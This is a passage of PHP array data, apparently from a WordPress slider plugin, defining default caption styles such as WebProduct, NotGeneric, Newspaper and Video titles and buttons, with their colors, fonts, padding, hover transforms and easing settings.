'{"color":"#ffffff","color-transparency":"1","text-decoration":"none","background-color":"#00ffde","background-transparency":"0.65","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","pointer_events":"auto","css_cursor":"pointer","speed":"200","easing":"none"}', 'params' => '{"color":"#ffffff","color-transparency":"1","font-size":"20px","line-height":"20px","font-weight":"300","font-style":"normal","font-family":"Raleway","padding":["3px","5px","3px","8px"],"text-decoration":"none","background-color":"#000000","background-transparency":"0.65","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600"}', 'advanced' => '{"idle":{"letter-spacing":"2px"},"hover":""}'), array('handle' => '.tp-caption.Photography-Textblock', 'settings' => '{"hover":"false","version":"5.0","translated":"5"}', 'hover' => '{"color":"#ffffff","color-transparency":"1","text-decoration":"none","background-color":"transparent","background-transparency":"0","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","speed":"0","easing":"none"}', 'params' => '{"color":"#fff","color-transparency":"1","font-size":"17px","line-height":"30px","font-weight":"300","font-style":"normal","font-family":"Raleway","padding":["0","0","0","0"],"text-decoration":"none","background-color":"transparent","background-transparency":"1","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600"}', 'advanced' => '{"idle":{"letter-spacing":"2px"},"hover":""}'), array('handle' => '.tp-caption.Photography-Subline-2', 'settings' => '{"hover":"false","version":"5.0","translated":"5"}', 'hover' => '{"color":"#ffffff","color-transparency":"1","text-decoration":"none","background-color":"transparent","background-transparency":"0","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","pointer_events":"auto","css_cursor":"auto","speed":"0","easing":"none"}', 'params' => '{"color":"#ffffff","color-transparency":"0.35","font-size":"20px","line-height":"30px","font-weight":"300","font-style":"normal","font-family":"Raleway","padding":["0","0","0","0"],"text-decoration":"none","background-color":"transparent","background-transparency":"1","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600"}', 'advanced' => '{"idle":{"letter-spacing":"3px"},"hover":""}'), array('handle' => '.tp-caption.Photography-ImageHover2', 'settings' => '{"hover":"true","version":"5.0","translated":"5"}', 'hover' => '{"color":"#ffffff","color-transparency":"1","text-decoration":"none","background-color":"transparent","background-transparency":"0","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"opacity":"0.5","scalex":"0.8","scaley":"0.8","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","pointer_events":"auto","css_cursor":"pointer","speed":"500","easing":"back.out"}', 'params' => '{"color":"#ffffff","color-transparency":"1","font-size":"20","line-height":"22","font-weight":"400","font-style":"normal","font-family":"Arial","padding":["0","0","0","0"],"text-decoration":"none","background-color":"transparent","background-transparency":"1","border-color":"#ffffff","border-transparency":"0","border-style":"none","border-width":"0px","border-radius":["0","0","0","0"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600"}', 'advanced' => '{"idle":"","hover":""}'), array('handle' => '.tp-caption.WebProduct-Title', 'settings' => '{"hover":"false","version":"5.0","translated":"5"}', 'hover' => '{"color":"#ffffff","color-transparency":"1","text-decoration":"none","background-color":"transparent","background-transparency":"0","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","pointer_events":"auto","css_cursor":"auto","speed":"0","easing":"none"}', 'params' => '{"color":"#333333","color-transparency":"1","font-size":"90px","line-height":"90px","font-weight":"100","font-style":"normal","font-family":"Raleway","padding":["0","0","0","0"],"text-decoration":"none","background-color":"transparent","background-transparency":"0","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600"}', 'advanced' => '{"idle":"","hover":""}'), array('handle' => '.tp-caption.WebProduct-SubTitle', 'settings' => '{"hover":"false","version":"5.0","translated":"5"}', 'hover' => '{"color":"#ffffff","color-transparency":"1","text-decoration":"none","background-color":"transparent","background-transparency":"0","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","pointer_events":"auto","css_cursor":"auto","speed":"0","easing":"none"}', 'params' => '{"color":"#999999","color-transparency":"1","font-size":"15px","line-height":"20px","font-weight":"400","font-style":"normal","font-family":"Raleway","padding":["0","0","0","0"],"text-decoration":"none","background-color":"transparent","background-transparency":"0","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600"}', 'advanced' => '{"idle":"","hover":""}'), array('handle' => '.tp-caption.WebProduct-Content', 'settings' => '{"hover":"false","version":"5.0","translated":"5"}', 'hover' => '{"color":"#ffffff","color-transparency":"1","text-decoration":"none","background-color":"transparent","background-transparency":"0","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","pointer_events":"auto","css_cursor":"auto","speed":"0","easing":"none"}', 'params' => '{"color":"#999999","color-transparency":"1","font-size":"16px","line-height":"24px","font-weight":"600","font-style":"normal","font-family":"Raleway","padding":["0","0","0","0"],"text-decoration":"none","background-color":"transparent","background-transparency":"0","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600"}', 'advanced' => '{"idle":"","hover":""}'), array('handle' => '.tp-caption.WebProduct-Menuitem', 'settings' => '{"hover":"true","version":"5.0","translated":"5"}', 'hover' => '{"color":"#999999","color-transparency":"1","text-decoration":"none","background-color":"#ffffff","background-transparency":"1","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","pointer_events":"auto","css_cursor":"pointer","speed":"200","easing":"none"}', 'params' => '{"color":"#ffffff","color-transparency":"1","font-size":"15px","line-height":"20px","font-weight":"500","font-style":"normal","font-family":"Raleway","padding":["3px","5px","3px","8px"],"text-decoration":"none","text-align":"left","background-color":"#333333","background-transparency":"1","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600","corner_left":"nothing","corner_right":"nothing","parallax":"-"}', 'advanced' => '{"idle":{"letter-spacing":"2px"},"hover":""}'), array('handle' => '.tp-caption.WebProduct-Title-Light', 'settings' => '{"hover":"false","version":"5.0","translated":"5"}', 'hover' => '{"color":"#ffffff","color-transparency":"1","text-decoration":"none","background-color":"transparent","background-transparency":"0","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","pointer_events":"auto","css_cursor":"auto","speed":"0","easing":"none"}', 'params' => '{"color":"#fff","color-transparency":"1","font-size":"90px","line-height":"90px","font-weight":"100","font-style":"normal","font-family":"Raleway","padding":["0","0","0","0"],"text-decoration":"none","text-align":"left","background-color":"transparent","background-transparency":"1","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600","corner_left":"nothing","corner_right":"nothing","parallax":"-"}', 'advanced' => '{"idle":"","hover":""}'), array('handle' => '.tp-caption.WebProduct-SubTitle-Light', 'settings' => '{"hover":"false","version":"5.0","translated":"5"}', 'hover' => '{"color":"#ffffff","color-transparency":"1","text-decoration":"none","background-color":"transparent","background-transparency":"0","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","pointer_events":"auto","css_cursor":"auto","speed":"0","easing":"none"}', 'params' => '{"color":"#ffffff","color-transparency":"0.35","font-size":"15px","line-height":"20px","font-weight":"400","font-style":"normal","font-family":"Raleway","padding":["0","0","0","0"],"text-decoration":"none","text-align":"left","background-color":"transparent","background-transparency":"1","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600","corner_left":"nothing","parallax":"-"}', 'advanced' => '{"idle":"","hover":""}'), array('handle' => '.tp-caption.WebProduct-Content-Light', 'settings' => '{"hover":"false","version":"5.0","translated":"5"}', 'hover' => '{"color":"#ffffff","color-transparency":"1","text-decoration":"none","background-color":"transparent","background-transparency":"0","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","pointer_events":"auto","css_cursor":"auto","speed":"0","easing":"none"}', 'params' => '{"color":"#ffffff","color-transparency":"0.65","font-size":"16px","line-height":"24px","font-weight":"600","font-style":"normal","font-family":"Raleway","padding":["0","0","0","0"],"text-decoration":"none","text-align":"left","background-color":"transparent","background-transparency":"1","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600","corner_left":"nothing","parallax":"-"}', 'advanced' => '{"idle":"","hover":""}'), array('handle' => '.tp-caption.FatRounded', 'settings' => '{"hover":"true","type":"text","version":"5.0","translated":"5"}', 'hover' => '{"color":"#fff","color-transparency":"1","text-decoration":"none","background-color":"#000000","background-transparency":"1","border-color":"#d3d3d3","border-transparency":"1","border-style":"none","border-width":"0px","border-radius":["50px","50px","50px","50px"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","pointer_events":"auto","css_cursor":"pointer","speed":"300","easing":"none"}', 'params' => '{"color":"#fff","color-transparency":"1","font-size":"30px","line-height":"30px","font-weight":"900","font-style":"normal","font-family":"Raleway","padding":["20px","22px","20px","25px"],"text-decoration":"none","text-align":"left","background-color":"#000000","background-transparency":"0.5","border-color":"#d3d3d3","border-transparency":"1","border-style":"none","border-width":"0px","border-radius":["50px","50px","50px","50px"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600","corner_left":"nothing","corner_right":"nothing","parallax":"-"}', 'advanced' => '{"idle":{"text-shadow":"none"},"hover":""}'), array('handle' => '.tp-caption.NotGeneric-Title', 'settings' => '{"translated":5,"type":"text","version":"5.0"}', 'hover' => '{"color":"#ffffff","color-transparency":"1","text-decoration":"none","background-color":"transparent","background-transparency":"0","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","pointer_events":"auto","css_cursor":"auto","speed":"0","easing":"none"}', 'params' => '{"color":"#ffffff","color-transparency":"1","font-size":"70px","line-height":"70px","font-weight":"800","font-style":"normal","font-family":"Raleway","padding":"10px 0px 10px 0","text-decoration":"none","background-color":"transparent","background-transparency":"1","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":"0 0 0 0","z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600","corner_left":"nothing","corner_right":"nothing","parallax":"-"}', 'advanced' => '{"idle":"[object Object]","hover":""}'), array('handle' => '.tp-caption.NotGeneric-SubTitle', 'settings' => '{"translated":5,"type":"text","version":"5.0"}', 'hover' => '{"color":"#ffffff","color-transparency":"1","text-decoration":"none","background-color":"transparent","background-transparency":"0","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","pointer_events":"auto","css_cursor":"auto","speed":"0","easing":"none"}', 'params' => '{"color":"#ffffff","color-transparency":"1","font-size":"13px","line-height":"20px","font-weight":"500","font-style":"normal","font-family":"Raleway","padding":"0 0 0 0","text-decoration":"none","background-color":"transparent","background-transparency":"1","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":"0 0 0 0","z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600","corner_left":"nothing","corner_right":"nothing","parallax":"-"}', 'advanced' => '{"idle":{"letter-spacing":"4px","text-align":"left"},"hover":""}'), array('handle' => '.tp-caption.NotGeneric-CallToAction', 'settings' => '{"hover":"true","translated":5,"type":"text","version":"5.0"}', 'hover' => '{"color":"#ffffff","color-transparency":"1","text-decoration":"none","background-color":"transparent","background-transparency":"0","border-color":"#ffffff","border-transparency":"1","border-style":"solid","border-width":"1","border-radius":"0px 0px 0px 0px","opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","pointer_events":"auto","css_cursor":"pointer","speed":"300","easing":"power3.out"}', 'params' => '{"color":"#ffffff","color-transparency":"1","font-size":"14px","line-height":"14px","font-weight":"500","font-style":"normal","font-family":"Raleway","padding":"10px 30px 10px 30px","text-decoration":"none","background-color":"#000000","background-transparency":"0","border-color":"#ffffff","border-transparency":"0.5","border-style":"solid","border-width":"1","border-radius":"0px 0px 0px 0px","z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600","corner_left":"nothing","corner_right":"nothing","parallax":"-"}', 'advanced' => '{"idle":{"letter-spacing":"3px","text-align":"left"},"hover":""}'), array('handle' => '.tp-caption.NotGeneric-Icon', 'settings' => '{"translated":5,"type":"text","version":"5.0"}', 'hover' => '{"color":"#ffffff","color-transparency":"1","text-decoration":"none","background-color":"transparent","background-transparency":"0","border-color":"#ffffff","border-transparency":"1","border-style":"solid","border-width":"1","border-radius":["0px","0px","0px","0px"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","pointer_events":"auto","css_cursor":"default","speed":"300","easing":"power3.out"}', 'params' => '{"color":"#ffffff","color-transparency":"1","font-size":"30px","line-height":"30px","font-weight":"400","font-style":"normal","font-family":"Raleway","padding":"0px 0px 0px 0px","text-decoration":"none","background-color":"#000000","background-transparency":"0","border-color":"#ffffff","border-transparency":"0","border-style":"solid","border-width":"0px","border-radius":"0px 0px 0px 0px","z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600","corner_left":"nothing","corner_right":"nothing","parallax":"-"}', 'advanced' => '{"idle":{"letter-spacing":"3px","text-align":"left"},"hover":""}'), array('handle' => '.tp-caption.NotGeneric-Menuitem', 'settings' => '{"hover":"true","translated":5,"type":"text","version":"5.0"}', 'hover' => '{"color":"#ffffff","color-transparency":"1","text-decoration":"none","background-color":"#000000","background-transparency":"0","border-color":"#ffffff","border-transparency":"1","border-style":"solid","border-width":"1px","border-radius":"0px 0px 0px 0px","opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","pointer_events":"auto","css_cursor":"pointer","speed":"300","easing":"power1.inOut"}', 'params' => '{"color":"#ffffff","color-transparency":"1","font-size":"14px","line-height":"14px","font-weight":"500","font-style":"normal","font-family":"Raleway","padding":"27px 30px 27px 30px","text-decoration":"none","background-color":"#000000","background-transparency":"0","border-color":"#ffffff","border-transparency":"0.15","border-style":"solid","border-width":"1px","border-radius":"0px 0px 0px 0px","z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600","corner_left":"nothing","corner_right":"nothing","parallax":"-"}', 'advanced' => '{"idle":{"letter-spacing":"3px","text-align":"left"},"hover":""}'), array('handle' => '.tp-caption.MarkerStyle', 'settings' => '{"translated":5,"type":"text","version":"5.0"}', 'hover' => '{"color":"#ffffff","color-transparency":"1","text-decoration":"none","background-color":"transparent","background-transparency":"0","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","pointer_events":"auto","css_cursor":"auto","speed":"0","easing":"none"}', 'params' => '{"color":"#ffffff","color-transparency":"1","font-size":"17px","line-height":"30px","font-weight":"100","font-style":"normal","font-family":"\\"Permanent Marker\\"","padding":"0 0 0 0","text-decoration":"none","background-color":"transparent","background-transparency":"1","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":"0 0 0 0","z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600","corner_left":"nothing","corner_right":"nothing","parallax":"-"}', 'advanced' => '{"idle":{"text-align":"left","0":""},"hover":""}'), array('handle' => '.tp-caption.Gym-Menuitem', 'settings' => '{"hover":"true","type":"text","version":"5.0","translated":"5"}', 'hover' => '{"color":"#ffffff","color-transparency":"1","text-decoration":"none","background-color":"#000000","background-transparency":"1","border-color":"#ffffff","border-transparency":"0.25","border-style":"solid","border-width":"2px","border-radius":["3px","3px","3px","3px"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","pointer_events":"auto","css_cursor":"pointer","speed":"200","easing":"none"}', 'params' => '{"color":"#ffffff","color-transparency":"1","font-size":"20px","line-height":"20px","font-weight":"300","font-style":"normal","font-family":"Raleway","padding":["3px","5px","3px","8px"],"text-decoration":"none","text-align":"left","background-color":"#000000","background-transparency":"1","border-color":"#ffffff","border-transparency":"0","border-style":"solid","border-width":"2px","border-radius":["3px","3px","3px","3px"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600","corner_left":"nothing","corner_right":"nothing","parallax":"-"}', 'advanced' => '{"idle":{"letter-spacing":"2px"},"hover":""}'), array('handle' => '.tp-caption.Newspaper-Button', 'settings' => '{"hover":"true","type":"button","version":"5.0","translated":"5"}', 'hover' => '{"color":"#000000","color-transparency":"1","text-decoration":"none","background-color":"#FFFFFF","background-transparency":"1","border-color":"#ffffff","border-transparency":"1","border-style":"solid","border-width":"1px","border-radius":["0px","0px","0px","0px"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","pointer_events":"auto","css_cursor":"pointer","speed":"300","easing":"power1.inOut"}', 'params' => '{"color":"#ffffff","color-transparency":"1","font-size":"13px","line-height":"17px","font-weight":"700","font-style":"normal","font-family":"Roboto","padding":["12px","35px","12px","35px"],"text-decoration":"none","text-align":"left","background-color":"#ffffff","background-transparency":"0","border-color":"#ffffff","border-transparency":"0.25","border-style":"solid","border-width":"1px","border-radius":["0px","0px","0px","0px"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600","corner_left":"nothing","corner_right":"nothing","parallax":"-"}', 'advanced' => '{"idle":{"letter-spacing":"2px"},"hover":""}'), array('handle' => '.tp-caption.Newspaper-Subtitle', 'settings' => '{"hover":"false","type":"text","version":"5.0","translated":"5"}', 'hover' => '{"color":"#ffffff","color-transparency":"1","text-decoration":"none","background-color":"transparent","background-transparency":"0","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","pointer_events":"auto","css_cursor":"auto","speed":"0","easing":"none"}', 'params' => '{"color":"#a8d8ee","color-transparency":"1","font-size":"15px","line-height":"20px","font-weight":"900","font-style":"normal","font-family":"Roboto","padding":["0","0","0","0"],"text-decoration":"none","text-align":"left","background-color":"transparent","background-transparency":"1","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600","corner_left":"nothing","corner_right":"nothing","parallax":"-"}', 'advanced' => '{"idle":"","hover":""}'), array('handle' => '.tp-caption.Newspaper-Title', 'settings' => '{"hover":"false","type":"text","version":"5.0","translated":"5"}', 'hover' => '{"color":"#ffffff","color-transparency":"1","text-decoration":"none","background-color":"transparent","background-transparency":"0","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","pointer_events":"auto","css_cursor":"auto","speed":"0","easing":"none"}', 'params' => '{"color":"#fff","color-transparency":"1","font-size":"50px","line-height":"55px","font-weight":"400","font-style":"normal","font-family":"\\"Roboto Slab\\"","padding":["0","0","10px","0"],"text-decoration":"none","text-align":"left","background-color":"transparent","background-transparency":"1","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600","corner_left":"nothing","corner_right":"nothing","parallax":"-"}', 'advanced' => '{"idle":"","hover":""}'), array('handle' => '.tp-caption.Newspaper-Title-Centered', 'settings' => '{"hover":"false","type":"text","version":"5.0","translated":"5"}', 'hover' => '{"color":"#ffffff","color-transparency":"1","text-decoration":"none","background-color":"transparent","background-transparency":"0","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","pointer_events":"auto","css_cursor":"auto","speed":"0","easing":"none"}', 'params' => '{"color":"#fff","color-transparency":"1","font-size":"50px","line-height":"55px","font-weight":"400","font-style":"normal","font-family":"\\"Roboto Slab\\"","padding":["0","0","10px","0"],"text-decoration":"none","text-align":"center","background-color":"transparent","background-transparency":"1","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600","corner_left":"nothing","corner_right":"nothing","parallax":"-"}', 'advanced' => '{"idle":"","hover":""}'), array('handle' => '.tp-caption.Hero-Button', 'settings' => '{"hover":"true","type":"button","version":"5.0","translated":"5"}', 'hover' => '{"color":"#000000","color-transparency":"1","text-decoration":"none","background-color":"#ffffff","background-transparency":"1","border-color":"#ffffff","border-transparency":"1","border-style":"solid","border-width":"1","border-radius":["0px","0px","0px","0px"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","pointer_events":"auto","css_cursor":"pointer","speed":"300","easing":"power1.inOut"}', 'params' => '{"color":"#ffffff","color-transparency":"1","font-size":"14px","line-height":"14px","font-weight":"500","font-style":"normal","font-family":"Raleway","padding":["10px","30px","10px","30px"],"text-decoration":"none","text-align":"left","background-color":"#000000","background-transparency":"0","border-color":"#ffffff","border-transparency":"0.5","border-style":"solid","border-width":"1","border-radius":["0px","0px","0px","0px"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600","corner_left":"nothing","corner_right":"nothing","parallax":"-"}', 'advanced' => '{"idle":{"letter-spacing":"3px"},"hover":""}'), array('handle' => '.tp-caption.Video-Title', 'settings' => '{"hover":"false","type":"text","version":"5.0","translated":"5"}', 'hover' => '{"color":"#ffffff","color-transparency":"1","text-decoration":"none","background-color":"transparent","background-transparency":"0","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","pointer_events":"auto","css_cursor":"auto","speed":"0","easing":"none"}', 'params' => '{"color":"#fff","color-transparency":"1","font-size":"30px","line-height":"30px","font-weight":"900","font-style":"normal","font-family":"Raleway","padding":["5px","5px","5px","5px"],"text-decoration":"none","text-align":"left","background-color":"#000000","background-transparency":"1","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"-20%","2d_origin_y":"50","pers":"600","corner_left":"nothing","corner_right":"nothing","parallax":"-"}', 'advanced' => '{"idle":"","hover":""}'), array('handle' => '.tp-caption.Video-SubTitle', 'settings' => '{"hover":"false","type":"text","version":"5.0","translated":"5"}', 'hover' => '{"color":"#ffffff","color-transparency":"1","text-decoration":"none","background-color":"transparent","background-transparency":"0","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","pointer_events":"auto","css_cursor":"auto","speed":"0","easing":"none"}', 'params' => '{"color":"#ffffff","color-transparency":"1","font-size":"12px","line-height":"12px","font-weight":"600","font-style":"normal","font-family":"Raleway","padding":["5px","5px","5px","5px"],"text-decoration":"none","text-align":"left","background-color":"#000000","background-transparency":"0.35","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"-20%","2d_origin_y":"50","pers":"600","corner_left":"nothing","corner_right":"nothing","parallax":"-"}', 'advanced' => '{"idle":{"letter-spacing":"2px"},"hover":""}'), array('handle' => '.tp-caption.NotGeneric-Button', 'settings' => '{"hover":"true","type":"button","version":"5.0","translated":"5"}', 'hover' => '{"color":"#ffffff","color-transparency":"1","text-decoration":"none","background-color":"transparent","background-transparency":"0","border-color":"#ffffff","border-transparency":"1","border-style":"solid","border-width":"1","border-radius":["0px","0px","0px","0px"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","pointer_events":"auto","css_cursor":"pointer","speed":"300","easing":"power1.inOut"}', 'params' => 